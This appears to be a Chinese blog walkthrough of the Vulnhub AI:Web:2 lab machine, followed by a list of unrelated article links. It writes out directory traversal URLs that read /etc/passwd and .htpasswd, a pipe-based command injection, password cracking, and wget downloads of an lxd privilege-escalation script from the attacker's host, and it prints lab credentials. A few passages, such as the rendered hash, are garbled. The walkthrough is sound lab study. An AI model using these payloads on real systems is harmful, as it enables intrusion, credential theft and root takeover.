当前位置: 首页 > news >正文

vulnhub靶场渗透系列-- AI:Web:2

AI:Web:2

文章目录

  • AI:Web:2
  • 靶机地址
  • Description
  • 工具、知识点和漏洞
  • 一、信息收集
  • 二、目录穿越获取后台账户密码
    • 命令执行漏洞
  • 三、提权
  • 四、获取flag

靶机地址

https://www.vulnhub.com/entry/ai-web-2,357/

Description

这是系列AI: Web的第二个盒子,你将有更多的乐趣来破解这个挑战。目标很简单。从/root/flag.txt获取标志。枚举该框,获取低特权shell,然后将特权提升到root。你可能需要破解密码。使用丹尼尔·米斯勒先生的word list sec lists/rock you-45.txt。

工具、知识点和漏洞

netdiscover
nmap
dirsearch
searchsploit
john
目录穿越(Directory Traversal)漏洞
远程命令执行(RCE)漏洞
Ubuntu 18.04 - ‘lxd’ Privilege Escalation

一、信息收集

在这里插入图片描述
我们开始渗透的第一步了,开始靶机之后,我们首先进行的是进行信息收集,我们拿到一个靶机,并不知道他的账号和密码,也无法登录进去,我们只能扫他的ip地址,进行下一步的渗透。

我们扫描同一网段有哪些主机存活,也可以用nmap去扫同一网段下有哪些主机
arp-scan -l
在这里插入图片描述
我们发现除了本机的1,2,254和kali的128网段外,还有一个主机存活,就是149了,所以靶机的ip地址就是192.168.231.149了。

nmap -sS -sV 192.168.231.0/24 (扫网段)
在这里插入图片描述
在这里插入图片描述

nmap -sS -sV 192.168.231.149 -p- 1-6000 (全端口扫描)
在这里插入图片描述
通过扫描,发现存在了80和22端口开放

我们看一下80端口的服务
http://192.168.231.149:80
在这里插入图片描述
我们需要注册,才能登录进去,这里我注册了一个admin账号,进去了
在这里插入图片描述

进去之后,什么也没有,只有一个提示,Welcome to XuezhuLi FileSharing(欢迎来到李雪主文件共享)
在这里插入图片描述

二、目录穿越获取后台账户密码

这应该是一个历史漏洞,我们去漏洞平台去查看一下
https://www.exploit-db.com/,搜索提示内容,XuezhuLi FileSharing

我们点击第二个看一下
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
大概可以看到,应该是一个目录遍历漏洞。

我们可以构造payload,我们先扫一下,当前网站有哪些目录吧,这里用dirsearch来扫目录
在这里插入图片描述
在这里插入图片描述
发现还不少目录嘛,在这里我们看到download.php是可以执行的
395a1.png)
在这里插入图片描述
很意外,里面什么也没有,我们看到之前的构造有download.php,会不会是包含文件了呢,我们试一下
我们构造一下语句
http://192.168.231.149/download.php?file_name=…/…/…/…/…/…/…/…/…/etc/passwd
在这里插入图片描述
发现爆出了用户的信息
在这里插入图片描述
有两个用户存在
在这里插入图片描述
我们在包含一下apache2的认证文件,查一下
http://192.168.0.108/download.php?file_name=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/apache2/.htpasswd在这里插入图片描述
打开里面内容是账号和密码:
aiweb2admin: a p r 1 apr1 apr1VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/
在这里插入图片描述

这是我们可以用john进行爆破获取密码
我们先创建一个文件1.txt,用于存放这个密码
vi 1.txt
cat 1.txt
在这里插入图片描述
我们采用john的字典模块,进行爆破,其中的,list.txt字典是前面提示中提供的word list sec lists/rockyou-45.txt这个字典。

john --wordlist=/home/zhian/list.txt 1.txt
在这里插入图片描述

john --show 1.txt
在这里插入图片描述
aiweb2admin:c.ronaldo
我们就得到账号aiweb2admin,密码:c.ronaldo

这个用户是ssh登录密码还是后台登录密码呢,我们都试一下,先试试是不是ssh的登录密码
在这里插入图片描述
访问被拒绝了,所以应该不是ssh的登录账号和密码,可能是后台的,我们看一下有什么后台目录
在这里插入图片描述
发现有webadmin网站目录

先登入一下后台,发现它给的提示的网络爬虫协议 访问一下http://192.168.0.105/webadmin/robots.txt

发现了两个路径分别是 /H05Tpin9555/ 和 /S0mextras/ 依次进行访问
在这里插入图片描述
在这里插入图片描述
http://192.168.231.149/webadmin/robots.txt
在这里插入图片描述
User-agent: *
Disallow:
Disallow: /H05Tpin9555/
Disallow: /S0mextras/

这里访问第一个路径 /H05Tpin9555 存在一个ping的对话框 怀疑是命令执行漏洞 第二个路径/S0mextras/下没有发现什么新东西。
http://192.18.33.135/webadmin/HOSTpin9555/
在这里插入图片描述

http://192.168.33.135/webadmin/S0mextras/
在这里插入图片描述

命令执行漏洞

在这里插入图片描述
尝试了&、&&、;、|四种绕过执行单一命令的限制,发现|可以绕过,也可以用burp抓包试一下
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
127.0.0.1|ls 绕过成功(-la无法识别)
执行127.0.0.1|ls -al /var/www/html/webadmin/S0mextras/,但是并没什么用

然后查看有哪些文件,发现只存在一个index.html文件,怀疑存在隐藏文件
在这里插入图片描述

隐藏文件一般都是"."开头的,可以使用find命令:127.0.0.1|find . -type f /var/www/html/webadmin/S0mextras/
在这里插入图片描述

使用命令:127.0.0.1|find …/S0mextras/ . -type f 2>/dev/null 发现了个隐藏文件 可能是ssh 账号的密码文档 进行访问查看
在这里插入图片描述
在这里插入图片描述
找到了许多的隐藏界面,我们分别一一进行访问查看
127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt

http://192.168.231.149/S0mextras/.sshUserCred55512.txt
在这里插入图片描述
ssh登录
User: n0nr00tuser
Cred: zxowieoi4sdsadpEClDws1sf

账号:n0nr00tuser 密码:zxowieoi4sdsadpEClDws1sf使用ssh登入 发现登入成功!!!
在这里插入图片描述

三、提权

登入成功先看一下权限 使用命令:id ,uname -a cat /etc/os-release发现权限很低,先sudo -l 看一下 还是没有权限
在这里插入图片描述
使用python提升至交互式shell,方便我们观看和后续操作
python -c ‘import pty;pty.spawn("/bin/bash")’
在这里插入图片描述

使用命令:find / -perm -u=s -type f 2>/dev/null 查看二进制文件
在这里插入图片描述
使用命令searchsploit linux 18.04 搜一下相关版本看看系统有啥漏洞可以利用在这里插入图片描述
在这里插入图片描述
wget http://192.168.231.129/46978.sh
在这里插入图片描述
查看利用.sh文件 第一步需要下载build-alpine ,第二步运行里面的build alpine然后给靶机运行就可以得到root

https://github.com/saghul/lxd-alpine-builder/

在这里插入图片描述

现在好了拖到kali里面 然后解压 运行./build-alpine 会下载一个apk的文件

然后ls一下会发现多了一个命名规则是年份日期的,然后把这个传到靶机中。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

wget http://192.168.231.129/alpine-v3.16-x86_64-20221001_1723.tar.gz
在这里插入图片描述
chmod +x 46978.sh
chmod 777 alpine-v3.16-x86_64-20221001_1723.tar.gz

./46978.sh -f alpine-v3.16-x86_64-20221001_1723.tar.gz
在这里插入图片描述
将这个压缩文件与之前的脚本46978.sh放于靶机的同目录下
在这里插入图片描述
从图中可以看到第一次运行46978.sh的时候出错了,解决办法参考这篇文章

解决方法很简单,就是vi 46978.sh,进入后,修改第一行的bash为unix后,保存退出后,再修改为bash,退出后,就可以执行脚本了。
在这里插入图片描述

四、获取flag

使用命令:find / –name flag*
在这里插入图片描述
在这里插入图片描述

相关文章:

  • 【vue-router】动态路由、嵌套路由、守卫以及编程式导航
  • 工程师们不断推动下的云服务架构
  • Vue3中的watch监听
  • 【国产数据库】数据迁移至openGauss
  • 一道晦涩难懂的Pandas基础题
  • 边缘计算:一文理解云边端协同架构中的高性能云计算、边缘计算、云边协同
  • 【算法刷题篇】——算法入门 01 数据结构——栈(一)
  • 使用python进行数据分析(二)
  • C++实现二分法求零点(二分法求零点)
  • SECS/GEM半导体协议介绍
  • ARM接口实验-LED灯实验(A7核)
  • 经典卷积和深度卷积的神经网络
  • 【C语言】一篇文章彻底搞懂变量和常量
  • CSS基础12-canvas
  • javascript时钟的开发制作
  • “大数据应用场景”之隔壁老王(连载四)
  • axios请求、和返回数据拦截,统一请求报错提示_012
  • Eureka 2.0 开源流产,真的对你影响很大吗?
  • Fabric架构演变之路
  • Java的Interrupt与线程中断
  • Otto开发初探——微服务依赖管理新利器
  • rc-form之最单纯情况
  • Twitter赢在开放,三年创造奇迹
  • TypeScript迭代器
  • vue2.0项目引入element-ui
  • 测试如何在敏捷团队中工作?
  • 记录:CentOS7.2配置LNMP环境记录
  • 来,膜拜下android roadmap,强大的执行力
  • 山寨一个 Promise
  • 使用putty远程连接linux
  • 收藏好这篇,别再只说“数据劫持”了
  • 微信端页面使用-webkit-box和绝对定位时,元素上移的问题
  • 微信公众号开发小记——5.python微信红包
  • 白色的风信子
  • MPAndroidChart 教程:Y轴 YAxis
  • 大数据全解:定义、价值及挑战
  • 智能情侣枕Pillow Talk,倾听彼此的心跳
  • 资深实践篇 | 基于Kubernetes 1.61的Kubernetes Scheduler 调度详解 ...
  • ​什么是bug?bug的源头在哪里?
  • # 达梦数据库知识点
  • #NOIP 2014#day.2 T1 无限网络发射器选址
  • #鸿蒙生态创新中心#揭幕仪式在深圳湾科技生态园举行
  • #我与Java虚拟机的故事#连载07:我放弃了对JVM的进一步学习
  • $Django python中使用redis, django中使用(封装了),redis开启事务(管道)
  • (10)ATF MMU转换表
  • (2)(2.10) LTM telemetry
  • (LeetCode) T14. Longest Common Prefix
  • (待修改)PyG安装步骤
  • (附源码)spring boot基于小程序酒店疫情系统 毕业设计 091931
  • (算法)Travel Information Center
  • (转载)虚函数剖析
  • .net core 6 redis操作类
  • .net 按比例显示图片的缩略图
  • .NET 表达式计算:Expression Evaluator
  • @Documented注解的作用